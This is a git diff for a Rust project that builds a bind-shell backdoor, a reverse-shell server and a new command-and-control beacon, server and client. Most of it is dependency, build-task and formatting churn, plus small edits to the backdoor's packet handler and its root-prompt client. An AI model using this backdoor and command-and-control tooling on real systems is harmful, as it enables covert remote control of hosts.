diff --git a/.devcontainer/Dockerfile.alpine b/.devcontainer/Dockerfile.alpine index d63ebe5..fd373f8 100644 --- a/.devcontainer/Dockerfile.alpine +++ b/.devcontainer/Dockerfile.alpine @@ -13,9 +13,9 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -FROM rust:1-alpine +FROM rust:1.73-alpine -RUN apk add cmake make automake musl-dev autoconf libtool \ +RUN apk add cmake make automake musl-dev autoconf libtool libcap \ flex bison linux-headers openssl-dev lldb build-base libcap-dev RUN apk add mingw-w64-gcc mingw-w64-winpthreads mingw-w64-headers && \ diff --git a/Cargo.lock b/Cargo.lock index 4eda7b6..1fe13f4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -71,6 +71,21 @@ dependencies = [ "opaque-debug", ] +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + [[package]] name = "ansi_term" version = "0.12.1" @@ -148,6 +163,12 @@ dependencies = [ "generic-array", ] +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + [[package]] name = "byteorder" version = "1.4.3" @@ -178,6 +199,21 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets", +] + [[package]] name = "cipher" version = "0.2.5" @@ -222,6 +258,12 @@ dependencies = [ "winapi", ] +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + [[package]] name = "cpufeatures" version = "0.2.7" @@ -237,6 +279,15 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba" +[[package]] +name = "crossbeam-utils" +version = "0.8.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +dependencies = [ + "cfg-if", +] + [[package]] name = "crypto-mac" version = "0.10.1" @@ -264,7 +315,7 @@ checksum = "0b9fdf9972b2bd6af2d913799d9ebc165ea4d2e65878e329d9c6b372c4491b61" dependencies = [ "byteorder", "digest", - "rand_core", + "rand_core 0.5.1", "subtle", "zeroize", ] @@ -301,7 +352,7 @@ dependencies = [ "digest", "hex", "hkdf", - "rand", + "rand 0.7.3", "serde", "sha2", "thiserror", @@ -326,7 +377,7 @@ checksum = "c762bae6dcaf24c4c84667b8579785430908723d5c889f469d76a41d59cc7a9d" dependencies = [ "curve25519-dalek", "ed25519", - "rand", + "rand 0.7.3", "serde", "serde_bytes", "sha2", @@ -352,7 +403,7 @@ checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd" dependencies = [ "errno-dragonfly", "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -395,7 +446,7 @@ name = "ex-bind-shell-key-generator" version = "0.1.0" dependencies = [ "ed25519-dalek", - "rand", + "rand 0.7.3", ] [[package]] @@ -534,6 +585,17 @@ dependencies = [ "wasi 0.9.0+wasi-snapshot-preview1", ] +[[package]] +name = "getrandom" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + [[package]] name = "ghash" version = "0.3.1" @@ -603,12 +665,44 @@ dependencies = [ "digest", ] +[[package]] +name = "iana-time-zone" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + [[package]] name = "itoa" version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" +[[package]] +name = "js-sys" +version = "0.3.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" +dependencies = [ + "wasm-bindgen", +] + [[package]] name = "lazy_static" version = "1.4.0" @@ -617,9 +711,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.147" +version = "0.2.150" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" [[package]] name = "linux-raw-sys" @@ -628,12 +722,22 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503" [[package]] -name = "log" -version = "0.4.17" +name = "lock_api" +version = "0.4.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" +checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" dependencies = [ - "cfg-if", + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" +dependencies = [ + "value-bag", ] [[package]] @@ -653,14 +757,24 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.6" +version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9" +checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" dependencies = [ "libc", - "log", "wasi 0.11.0+wasi-snapshot-preview1", - "windows-sys 0.45.0", + "windows-sys", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.0", + "cfg-if", + "libc", ] [[package]] @@ -709,6 +823,12 @@ dependencies = [ "memchr", ] +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + [[package]] name = "opaque-debug" version = "0.3.0" @@ -719,6 +839,29 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" name = "packets" version = "0.1.0" +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets", +] + [[package]] name = "paste" version = "1.0.14" @@ -860,13 +1003,24 @@ version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" dependencies = [ - "getrandom", + "getrandom 0.1.16", "libc", - "rand_chacha", - "rand_core", + "rand_chacha 0.2.2", + "rand_core 0.5.1", "rand_hc", ] +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + [[package]] name = "rand_chacha" version = "0.2.2" @@ -874,7 +1028,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" dependencies = [ "ppv-lite86", - "rand_core", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", ] [[package]] @@ -883,7 +1047,16 @@ version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" dependencies = [ - "getrandom", + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.10", ] [[package]] @@ -892,7 +1065,7 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" dependencies = [ - "rand_core", + "rand_core 0.5.1", ] [[package]] @@ -914,6 +1087,15 @@ dependencies = [ "bitflags 1.3.2", ] +[[package]] +name = "ringbuf" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79abed428d1fd2a128201cec72c5f6938e2da607c6f3745f769fabea399d950a" +dependencies = [ + "crossbeam-utils", +] + [[package]] name = "rmp" version = "0.8.12" @@ -961,9 +1143,21 @@ dependencies = [ "errno 0.3.3", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys", ] +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + [[package]] name = "semver" version = "0.9.0" @@ -981,9 +1175,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" [[package]] name = "serde" -version = "1.0.188" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" dependencies = [ "serde_derive", ] @@ -999,15 +1193,26 @@ dependencies = [ [[package]] name = "serde_derive" -version = "1.0.188" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2 1.0.66", "quote 1.0.33", "syn 2.0.29", ] +[[package]] +name = "serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + [[package]] name = "serde_repr" version = "0.1.16" @@ -1049,15 +1254,14 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" [[package]] name = "simple_logger" -version = "4.1.0" +version = "4.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e78beb34673091ccf96a8816fce8bfd30d1292c7621ca2bcb5f2ba0fae4f558d" +checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef" dependencies = [ - "atty", "colored", "log", "time", - "windows-sys 0.42.0", + "windows-sys", ] [[package]] @@ -1070,13 +1274,19 @@ dependencies = [ ] [[package]] -name = "socket2" -version = "0.5.3" +name = "smallvec" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -1088,7 +1298,7 @@ dependencies = [ "ecies-ed25519", "ed25519-dalek", "libc", - "rand", + "rand 0.7.3", "raw_tty", "rmp-serde", "serde", @@ -1104,7 +1314,7 @@ version = "0.1.0" dependencies = [ "ecies-ed25519", "ed25519-dalek", - "rand", + "rand 0.7.3", "serde", "serde_repr", ] @@ -1122,13 +1332,67 @@ dependencies = [ "log", "packets", "pcap-sys", - "rand", + "rand 0.7.3", "rmp-serde", "serde", "simple_logger", "sparse-05-common", ] +[[package]] +name = "sparse-c2-beacon" +version = "0.1.0" +dependencies = [ + "anyhow", + "catconf", + "libc", + "log", + "nl-sys", + "packets", + "pcap-sys", + "rand 0.8.5", + "ringbuf", + "serde", + "serde_json", + "simple_logger", + "sparse-c2-messages", + "tokio", + "tokio-stream", +] + +[[package]] +name = "sparse-c2-client" +version = "0.1.0" +dependencies = [ + "anyhow", + "serde_json", + "sparse-c2-messages", + "structopt", + "tokio", +] + +[[package]] +name = "sparse-c2-messages" +version = "0.1.0" +dependencies = [ + "chrono", + "serde", +] + +[[package]] +name = "sparse-c2-server" +version = "0.1.0" +dependencies = [ + "anyhow", + "chrono", + "log", + "nix", + "serde_json", + "simple_logger", + "sparse-c2-messages", + "tokio", +] + [[package]] name = "sparse-protocol" version = "0.1.0" @@ -1206,6 +1470,23 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "tcp-test" +version = "0.1.0" +dependencies = [ + "anyhow", + "libc", + "log", + "nl-sys", + "packets", + "pcap-sys", + "rand 0.8.5", + "ringbuf", + "simple_logger", + "tokio", + "tokio-stream", +] + [[package]] name = "tempfile" version = "3.8.0" @@ -1216,7 +1497,7 @@ dependencies = [ "fastrand", "redox_syscall", "rustix", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -1279,27 +1560,28 @@ dependencies = [ [[package]] name = "tokio" -version = "1.32.0" +version = "1.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" +checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" dependencies = [ "backtrace", "bytes", "libc", "mio", "num_cpus", + "parking_lot", "pin-project-lite", "signal-hook-registry", "socket2", "tokio-macros", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] name = "tokio-macros" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2 1.0.66", "quote 1.0.33", @@ -1315,6 +1597,20 @@ dependencies = [ "futures-core", "pin-project-lite", "tokio", + "tokio-util", +] + +[[package]] +name = "tokio-util" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", ] [[package]] @@ -1357,6 +1653,12 @@ dependencies = [ "subtle", ] +[[package]] +name = "value-bag" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a72e1902dde2bd6441347de2b70b7f5d59bf157c6c62f0c44572607a1d55bbe" + [[package]] name = "vec_map" version = "0.8.2" @@ -1381,6 +1683,60 @@ version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" +[[package]] +name = "wasm-bindgen" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +dependencies = [ + "quote 1.0.33", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +dependencies = [ + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" + [[package]] name = "winapi" version = "0.3.9" @@ -1404,27 +1760,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] -name = "windows-sys" -version = "0.42.0" +name = "windows-core" +version = "0.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff" dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - -[[package]] -name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", + "windows-targets", ] [[package]] @@ -1433,22 +1774,7 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets 0.48.0", -] - -[[package]] -name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", + "windows-targets", ] [[package]] @@ -1457,93 +1783,51 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" dependencies = [ - "windows_aarch64_gnullvm 0.48.0", - "windows_aarch64_msvc 0.48.0", - "windows_i686_gnu 0.48.0", - "windows_i686_msvc 0.48.0", - "windows_x86_64_gnu 0.48.0", - "windows_x86_64_gnullvm 0.48.0", - "windows_x86_64_msvc 0.48.0", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - [[package]] name = "windows_aarch64_gnullvm" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" -[[package]] -name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - [[package]] name = "windows_aarch64_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" -[[package]] -name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - [[package]] name = "windows_i686_gnu" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" -[[package]] -name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - [[package]] name = "windows_i686_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" -[[package]] -name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - [[package]] name = "windows_x86_64_gnu" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - [[package]] name = "windows_x86_64_gnullvm" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" -[[package]] -name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - [[package]] name = "windows_x86_64_msvc" version = "0.48.0" diff --git a/Cargo.toml b/Cargo.toml index 4edf42f..58e4e92 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,6 +5,8 @@ members = [ "examples/*/*", "sparse-protocol", "sparse-05/*", + "sparse-c2/*", + "tcp-test/client" ] resolver = "2" diff --git a/Makefile.toml b/Makefile.toml index 8aaaf47..b0159b2 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -27,6 +27,28 @@ script = [ "docker-compose run build build --bin sparse-05-client ${@}", ] +[tasks.tcp-test] +workspace = false +script = [ + "docker-compose run build build --bin tcp-test ${@}", + "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test" +] + +[tasks.sparse-c2] +workspace = false +script = [ + "docker-compose run build build --bin sparse-c2-beacon ${@}", + "docker-compose run build build --bin sparse-c2-server ${@}", + "docker-compose run build build --bin sparse-c2-client ${@}", +] + +[tasks.run-tcp-test] +workspace = false +dependencies = ["tcp-test"] +script = [ + "docker-compose run tcptest_client /workspaces/sparse/target/debug/tcp-test $(/sbin/ip a show docker0 | awk -F'[ \t/]*' '/inet / { print $3 }')" +] + [tasks.fmt] command = "cargo" args = ["fmt"] @@ -68,6 +90,13 @@ command = "convco" args = ["commit", "-i"] dependencies = ["git-pre-commit", "git-add"] +[tasks.git-share-root] +workspace = false +script = [ + "git config --global --add safe.directory /workspaces/sparse/nl-sys/libnl", + "git config --global --add safe.directory /workspaces/sparse/pcap-sys/libpcap", +] + #--------------------------------- # # Project setup tasks @@ -76,7 +105,7 @@ dependencies = ["git-pre-commit", "git-add"] [tasks.setup] workspace = false -dependencies = ["setup-pull-rust-image", "setup-update-submodules"] +dependencies = ["git-share-root", "setup-pull-rust-image", "setup-update-submodules"] [tasks.setup-pull-rust-image] workspace = false diff --git a/docker-compose.yml b/docker-compose.yml index 5240029..bc44714 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -44,3 +44,9 @@ services: expose: - "54248/udp" command: /workspaces/sparse/target/debug/ex-revshell-server + + tcptest_client: + image: alpine + volumes: + - ./target:/workspaces/sparse/target + command: /workspaces/sparse/target/debug/tcp-target diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index 3b71816..91453c9 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -22,4 +22,4 @@ cc = "1.0" [features] docker-breakout = [] no-exit = [] -setuid = ["libc"] \ No newline at end of file +setuid = ["libc"] diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index ea0804b..3e84f31 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -138,8 +138,12 @@ async fn handle_command( ) -> anyhow::Result<()> { use pcap_sys::packets::*; let eth_pkt = eth.pkt(); - let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else { + return Ok(()); + }; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let source_port = udp_pkt.srcport(); diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index ca52c98..ee85c13 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -1,4 +1,9 @@ -use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}}; +use std::{ + io::prelude::*, + net::UdpSocket, + sync::{Arc, Condvar, Mutex}, + thread, +}; use anyhow::{anyhow, Context}; use ed25519_dalek::{Keypair, Signer}; @@ -17,7 +22,7 @@ impl Msg<'_> { 0 => Some(Msg::Ready(bytes[1])), 1 => Some(Msg::Stdout(&bytes[1..])), 2 => Some(Msg::Stderr(&bytes[1..])), - _ => None + _ => None, } } } @@ -47,8 +52,12 @@ fn main() -> anyhow::Result<()> { let mut buffer = [0u8; 1536]; loop { - let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; }; - let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; }; + let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { + continue; + }; + let Some(msg) = Msg::parse(&buffer[..amount]) else { + continue; + }; match msg { Msg::Ready(_) => { @@ -59,12 +68,14 @@ fn main() -> anyhow::Result<()> { }; *inuse = false; cvar.notify_one(); - }, + } Msg::Stderr(err) => { let _ = stderr.write(err); - }, + } Msg::Stdout(out) => { - let Ok(mut stdout) = stdout_arc.lock() else { continue; }; + let Ok(mut stdout) = stdout_arc.lock() else { + continue; + }; let _ = stdout.write(out); } } @@ -92,13 +103,19 @@ fn main() -> anyhow::Result<()> { } { - let Ok(mut stdout) = stdout_arc.lock() else { continue; }; - let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; }; + let Ok(mut stdout) = stdout_arc.lock() else { + continue; + }; + let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { + continue; + }; let _ = stdout.flush(); } let mut cmd = String::new(); - let Ok(amount) = stdin.read_line(&mut cmd) else { continue; }; + let Ok(amount) = stdin.read_line(&mut cmd) else { + 